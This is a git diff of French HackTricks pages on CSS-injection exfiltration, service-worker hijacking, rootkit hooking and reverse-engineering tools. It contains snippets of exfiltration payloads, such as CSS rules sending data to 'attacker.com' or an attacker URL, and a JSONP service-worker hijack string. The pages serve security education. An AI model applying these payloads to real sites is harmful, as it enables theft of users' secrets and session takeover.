L'attaquant va **suivre cette boucle jusqu'à ce qu'il parvienne à divulguer complètement le secret**.
Vous pouvez trouver le [**code original de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection)
Vous pouvez trouver le [**code de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection)
{% hint style="info" %}
Le script va essayer de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme:
@ -119,11 +119,11 @@ Pas de soucis, il suffit de vérifier la **sortie** car **vous pouvez y voir le
D'autres façons d'accéder aux parties du DOM avec les **sélecteurs CSS**:
* **`.classe-à-rechercher:nth-child(2)`**: Cela recherchera le deuxième élément avec la classe "classe-à-rechercher" dans le DOM.
* **`.class-to-search:nth-child(2)`**: Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
* Sélecteur **`:empty`**: Utilisé par exemple dans [**ce compte rendu**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_DU_SERVEUR?1"); }
[role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_SERVEUR?1"); }
```
### XS-Search basé sur les erreurs
@ -160,12 +160,12 @@ font-family: 'poc';
- La propriété `unicode-range` est définie sur `U+0041`, ciblant le caractère Unicode spécifique 'A'.
2. **Élément Objet avec Texte de Secours**:
- Un élément `<object>` avec l'`id="poc0"` est créé dans la section `<body>`. Cet élément tente de charger une ressource à partir de `http://192.168.0.1/favicon.ico`.
- Un élément `<object>` avec l'`id="poc0"` est créé dans la section `<body>`. Cet élément tente de charger une ressource depuis `http://192.168.0.1/favicon.ico`.
- La `font-family` pour cet élément est définie sur `'poc'`, tel que défini dans la section `<style>`.
- Si la ressource (`favicon.ico`) échoue à charger, le contenu de secours (la lettre 'A') à l'intérieur de la balise `<object>` est affiché.
- Le contenu de secours ('A') sera rendu en utilisant la police personnalisée `poc` si la ressource externe ne peut pas être chargée.
### Style du Fragment de Texte de Défilement
### Stylisation du Fragment de Texte de Défilement
La pseudo-classe **`:target`** est utilisée pour sélectionner un élément ciblé par un **fragment d'URL**, tel que spécifié dans la [spécification CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
@ -183,7 +183,7 @@ Pour atténuer, les points suivants doivent être notés :
1. **Correspondance STTF Contrainte** : Le Fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou jetons arbitraires.
2. **Restriction aux Contextes de Navigation de Niveau Supérieur** : STTF fonctionne uniquement dans les contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
3. **Nécessité d'une Activation Utilisateur** : STTF nécessite un geste d'activation de l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont possibles que par le biais de navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque d'automatisation des attaques sans interaction utilisateur. Néanmoins, l'auteur de l'article de blog souligne des conditions spécifiques et des contournements (par exemple, l'ingénierie sociale, l'interaction avec des extensions de navigateur prévalentes) qui pourraient faciliter l'automatisation de l'attaque.
3. **Nécessité d'une Activation Utilisateur** : STTF nécessite un geste d'activation de l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont possibles que par le biais de navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque d'attaques automatisées sans interaction utilisateur. Néanmoins, l'auteur de l'article de blog souligne des conditions spécifiques et des contournements (par exemple, l'ingénierie sociale, l'interaction avec des extensions de navigateur prévalentes) qui pourraient faciliter l'automatisation de l'attaque.
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d'exploitation.
@ -218,11 +218,11 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm
```
### Exfiltration de nœud de texte (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### Exfiltration de nœud de texte (I) : ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Référence:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Référence :** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
La technique décrite consiste à extraire du texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comprend plusieurs étapes :
La technique décrite implique d'extraire du texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comprend plusieurs étapes :
1. **Création de polices personnalisées** :
- Les polices SVG sont conçues avec des glyphes ayant un attribut `horiz-adv-x`, qui définit une largeur importante pour un glyphe représentant une séquence de deux caractères.
@ -250,9 +250,9 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
- La méthode d'initialisation actuelle utilisant `<meta refresh=...` n'est pas optimale.
- Une approche plus efficace pourrait impliquer l'astuce `@import` en CSS, améliorant les performances de l'exploit.
### Exfiltration de nœud de texte (II): fuite du jeu de caractères avec une police par défaut (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltration de nœud de texte (II) : fuite du jeu de caractères avec une police par défaut (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Référence :** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Cette astuce a été publiée dans ce [**fil de discussion Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Le jeu de caractères utilisé dans un nœud de texte peut être divulgué **en utilisant les polices par défaut** installées dans le navigateur : aucune police externe -ou personnalisée- n'est nécessaire.
@ -274,7 +274,7 @@ B
**CADB**
Pendant cette transition, le **tour de magie unicode-range** est utilisé pour identifier chaque nouveau caractère lorsqu'il rejoint le préfixe. Cela est réalisé en passant la police à Comic Sans, qui est notablement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révèle indirectement la présence d'un nouveau caractère dans le préfixe.
Pendant cette transition, l'astuce **unicode-range** est utilisée pour identifier chaque nouveau caractère lorsqu'il rejoint le préfixe. Cela est réalisé en passant la police à Comic Sans, qui est notablement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révèle indirectement la présence d'un nouveau caractère dans le préfixe.
Bien que cette méthode permette de détecter les caractères uniques au fur et à mesure de leur apparition, elle ne spécifie pas quel caractère est répété, seulement qu'une répétition s'est produite.
@ -394,7 +394,7 @@ text-transform: uppercase; /* only capital letters leak */
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
```html
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
@ -411,13 +411,13 @@ background: blue var(--leak);
```
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères avec une police par défaut en masquant des éléments (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** Cela est mentionné comme [une solution infructueuse dans cette analyse](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce compte rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre certains **caractères plus grands que d'autres est de cacher quelque chose** comme un bouton pour ne pas être pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent à l'intérieur du texte.
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre certains **caractères plus grands que d'autres est de cacher quelque chose** comme un bouton pour ne pas être pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères par temporisation du cache (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères par temporisation de cache (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** Cela est mentionné comme [une solution infructueuse dans cette analyse](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce compte rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Dans ce cas, nous pourrions essayer de vérifier si un caractère est dans le texte en chargeant une fausse police depuis la même origine :
```css
@ -463,7 +463,7 @@ Donc, si la police ne correspond pas, le temps de réponse lors de la visite du
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -4,19 +4,19 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en Équipe Rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Groupe de Sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@
## Informations de Base
Un **travailleur de service** est un script exécuté par votre navigateur en arrière-plan, séparé de toute page web, permettant des fonctionnalités qui ne nécessitent pas de page web ou d'interaction utilisateur, améliorant ainsi les capacités de **traitement hors ligne et en arrière-plan**. Des informations détaillées sur les travailleurs de service peuvent être trouvées [ici](https://developers.google.com/web/fundamentals/primers/service-workers). En exploitant les travailleurs de service dans un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.
Un **travailleur de service** est un script exécuté par votre navigateur en arrière-plan, indépendamment de toute page web, permettant des fonctionnalités qui ne nécessitent pas de page web ou d'interaction utilisateur, améliorant ainsi les capacités de **traitement hors ligne et en arrière-plan**. Des informations détaillées sur les travailleurs de service peuvent être trouvées [ici](https://developers.google.com/web/fundamentals/primers/service-workers). En exploitant les travailleurs de service dans un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.
### Vérification des Travailleurs de Service Existants
@ -73,11 +73,11 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
```
Il existe un **C2** dédié à l'**exploitation des Travailleurs de Service** appelé [**Shadow Workers**](https://shadow-workers.github.io) qui sera très utile pour abuser de ces vulnérabilités.
La directive de **cache de 24 heures** limite la durée de vie d'un **travailleur de service (SW)** malveillant ou compromis à au plus 24 heures après la correction d'une vulnérabilité XSS, en supposant un statut client en ligne. Pour minimiser la vulnérabilité, les opérateurs de site peuvent réduire le Temps de Vie (TTL) du script SW. Les développeurs sont également invités à créer un [**interrupteur d'arrêt du travailleur de service**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) pour une désactivation rapide.
La directive de **cache de 24 heures** limite la durée de vie d'un **travailleur de service (SW)** malveillant ou compromis à au plus 24 heures après la correction d'une vulnérabilité XSS, en supposant un statut client en ligne. Pour minimiser la vulnérabilité, les opérateurs de site peuvent réduire le temps de vie du script SW (TTL). Les développeurs sont également invités à créer un [**interrupteur d'arrêt du travailleur de service**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) pour une désactivation rapide.
## Abus de `importScripts` dans un SW via DOM Clobbering
## Abus de `importScripts` dans un SW via le DOM Clobbering
La fonction **`importScripts`** appelée depuis un Travailleur de Service peut **importer un script depuis un domaine différent**. Si cette fonction est appelée en utilisant un **paramètre qu'un attaquant pourrait** modifier, il serait capable d'**importer un script JS depuis son domaine** et d'obtenir une XSS.
La fonction **`importScripts`** appelée depuis un Travailleur de Service peut **importer un script depuis un domaine différent**. Si cette fonction est appelée en utilisant un **paramètre que l'attaquant pourrait** modifier, il serait capable d'**importer un script JS depuis son domaine** et d'obtenir une XSS.
**Cela contourne même les protections CSP.**
@ -105,7 +105,7 @@ Pour plus d'informations sur ce qu'est le DOM Clobbering, consultez :
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Si l'URL/domaine utilisé par le SW pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour faire en sorte que le SW **charge un script depuis votre propre domaine**.
Si l'URL/domaine utilisé par le SW pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour que le SW **charge un script depuis votre propre domaine**.
Pour un exemple, consultez le lien de référence.
@ -113,9 +113,9 @@ Pour un exemple, consultez le lien de référence.
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Groupe de sécurité Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -124,9 +124,9 @@ Pour un exemple, consultez le lien de référence.
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -153,12 +153,12 @@ Le logiciel malveillant désallouera le code légitime de la mémoire du process
* Un rootkit peut modifier ces pointeurs vers des adresses qu'il contrôle
* Les **IRP** (**I/O Request Packets**) transmettent des morceaux de données d'un composant à un autre. Presque tout dans le noyau utilise des IRP et chaque objet de périphérique a sa propre table de fonctions qui peut être accrochée : DKOM (Direct Kernel Object Manipulation)
* L'**IAT** (**Import Address Table**) est utile pour résoudre les dépendances. Il est possible d'accrocher cette table afin de détourner le code qui sera appelé.
* Accrochage de **EAT** (**Export Address Table**). Ces accrochages peuvent être faits depuis l'**espace utilisateur**. Le but est d'accrocher les fonctions exportées par les DLL.
* Accrochage de l'**EAT** (**Export Address Table**). Ces accrochages peuvent être faits depuis l'**espace utilisateur**. Le but est d'accrocher les fonctions exportées par les DLL.
* **Accrochages en ligne** : Ce type est difficile à réaliser. Cela implique de modifier le code des fonctions elles-mêmes. Peut-être en mettant un saut au début de celle-ci.
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -171,5 +171,7 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et à** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts GitHub.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts GitHub.**
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -51,7 +51,7 @@ Le mérite ici est que si un code source perdu nécessite une restauration à pa
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
Avec un modèle d'extension complet et une API qui étend l'outil pour répondre à vos besoins exacts, .NET Reflector fait gagner du temps et simplifie le développement. Jetons un coup d'œil à la pléthore de services d'ingénierie inverse que cet outil fournit :
Avec un modèle d'extension complet et une API qui étend l'outil pour répondre à vos besoins exacts, .NET Reflector fait gagner du temps et simplifie le développement. Jetons un coup d'œil à la pléthore de services d'ingénierie inverse que cet outil propose :
* Fournit un aperçu de la façon dont les données circulent à travers une bibliothèque ou un composant
* Fournit un aperçu de la mise en œuvre et de l'utilisation des langages et des frameworks .NET
@ -98,7 +98,7 @@ Ensuite, enregistrez le nouveau fichier via _**Fichier >> Enregistrer le module.
![](<../../.gitbook/assets/image (279).png>)
Ceci est nécessaire car si vous ne le faites pas, à **l'exécution** plusieurs **optimisations** seront appliquées au code et il pourrait être possible que lors du débogage un **point d'arrêt ne soit jamais atteint** ou que certaines **variables n'existent pas**.
Ceci est nécessaire car si vous ne le faites pas, à **l'exécution** plusieurs **optimisations** seront appliquées au code et il pourrait être possible qu'en déboguant un **point d'arrêt ne soit jamais atteint** ou que certaines **variables n'existent pas**.
Ensuite, si votre application .NET est **exécutée** par **IIS**, vous pouvez la **redémarrer** avec :
```
@ -108,7 +108,7 @@ Ensuite, pour commencer le débogage, vous devez fermer tous les fichiers ouvert
![](<../../.gitbook/assets/image (280).png>)
Ensuite, sélectionnez **w3wp.exe** pour vous attacher au serveur **IIS** et cliquez sur **attacher** :
Ensuite, sélectionnez **w3wp.exe** pour vous connecter au serveur **IIS** et cliquez sur **Joindre** :
![](<../../.gitbook/assets/image (281).png>)
@ -164,7 +164,7 @@ Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêté
## Applications GUI / Jeux vidéo
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) est un programme utile pour trouver où les valeurs importantes sont enregistrées dans la mémoire d'un jeu en cours d'exécution et les modifier. Plus d'informations dans :
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) est un programme utile pour trouver où des valeurs importantes sont enregistrées dans la mémoire d'un jeu en cours d'exécution et les modifier. Plus d'informations dans :
{% content-ref url="cheat-engine.md" %}
[cheat-engine.md](cheat-engine.md)
@ -178,7 +178,7 @@ Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêté
### Débogage d'un shellcode avec blobrunner
[**Blobrunner**](https://github.com/OALabs/BlobRunner) va **allouer** le **shellcode** dans un espace mémoire, vous indiquer l'**adresse mémoire** où le shellcode a été alloué et **arrêter** l'exécution.\
[**Blobrunner**](https://github.com/OALabs/BlobRunner) va **allouer** le **shellcode** dans un espace mémoire, vous indiquer l'**adresse mémoire** où le shellcode a été alloué et arrêter l'exécution.\
Ensuite, vous devez **attacher un débogueur** (Ida ou x64dbg) au processus et mettre un **point d'arrêt à l'adresse mémoire indiquée** et **reprendre** l'exécution. De cette manière, vous déboguerez le shellcode.
La page des versions github contient des zips contenant les versions compilées : [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
@ -190,7 +190,7 @@ Vous pouvez trouver une version légèrement modifiée de Blobrunner dans le lie
### Débogage d'un shellcode avec jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)est très similaire à blobrunner. Il va **allouer** le **shellcode** dans un espace mémoire, et démarrer une **boucle éternelle**. Vous devez ensuite **attacher le débogueur** au processus, **démarrer, attendre 2-5 secondes et appuyer sur stop** et vous vous retrouverez dans la **boucle éternelle**. Sautez vers l'instruction suivante de la boucle éternelle car ce sera un appel au shellcode, et enfin vous vous retrouverez à exécuter le shellcode.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)est très similaire à blobrunner. Il va **allouer** le **shellcode** dans un espace mémoire et démarrer une **boucle éternelle**. Ensuite, vous devez **attacher le débogueur** au processus, **démarrer, attendre 2-5 secondes et appuyer sur stop** et vous vous retrouverez dans la **boucle éternelle**. Sautez vers l'instruction suivante de la boucle éternelle car ce sera un appel au shellcode, et enfin vous vous retrouverez à exécuter le shellcode.
![](<../../.gitbook/assets/image (397).png>)
@ -214,7 +214,7 @@ Vous pouvez voir la pile par exemple dans un dump hexadécimal :
![](<../../.gitbook/assets/image (402).png>)
### Désembrouillage de shellcode et obtention des fonctions exécutées
### Déobfuscation de shellcode et obtention des fonctions exécutées
Vous devriez essayer [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
Il vous indiquera quelles fonctions le shellcode utilise et si le shellcode se **décrypte** en mémoire.
@ -230,7 +230,7 @@ scDbg dispose également d'un lanceur graphique où vous pouvez sélectionner le
![](<../../.gitbook/assets/image (398).png>)
L'option **Créer un dump** va générer le shellcode final si des modifications sont apportées au shellcode dynamiquement en mémoire (utile pour télécharger le shellcode décodé). L'**offset de démarrage** peut être utile pour démarrer le shellcode à un offset spécifique. L'option **Déboguer le shell** est utile pour déboguer le shellcode en utilisant le terminal scDbg (cependant, je trouve que l'une des options expliquées précédemment est meilleure pour cette tâche car vous pourrez utiliser Ida ou x64dbg).
L'option **Créer un Dump** va créer un dump du shellcode final si des modifications sont apportées au shellcode de manière dynamique en mémoire (utile pour télécharger le shellcode décodé). L'**offset de démarrage** peut être utile pour démarrer le shellcode à un offset spécifique. L'option **Debug Shell** est utile pour déboguer le shellcode en utilisant le terminal scDbg (cependant, je trouve que l'une des options expliquées précédemment est meilleure pour cette tâche car vous pourrez utiliser Ida ou x64dbg).
### Désassemblage en utilisant CyberChef
@ -250,7 +250,7 @@ apt-get install libz3-dev
```
Et [installez keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Si vous participez à un **CTF, cette astuce pour trouver le drapeau** pourrait être très utile: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
Si vous participez à un **CTF, cette solution de contournement pour trouver le drapeau** pourrait être très utile: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
@ -269,7 +269,7 @@ Si vous devez inverser un binaire Delphi, je vous suggère d'utiliser le plugin
Appuyez simplement sur **ATL+f7** (importez le plugin python dans IDA) et sélectionnez le plugin python.
Ce plugin exécutera le binaire et résoudra dynamiquement les noms de fonction au début du débogage. Après le démarrage du débogage, appuyez à nouveau sur le bouton Démarrer (le bouton vert ou f9) et un point d'arrêt sera atteint au début du code réel.
Ce plugin exécutera le binaire et résoudra dynamiquement les noms de fonctions au début du débogage. Après le démarrage du débogage, appuyez à nouveau sur le bouton Démarrer (le bouton vert ou f9) et un point d'arrêt sera atteint au début du code réel.
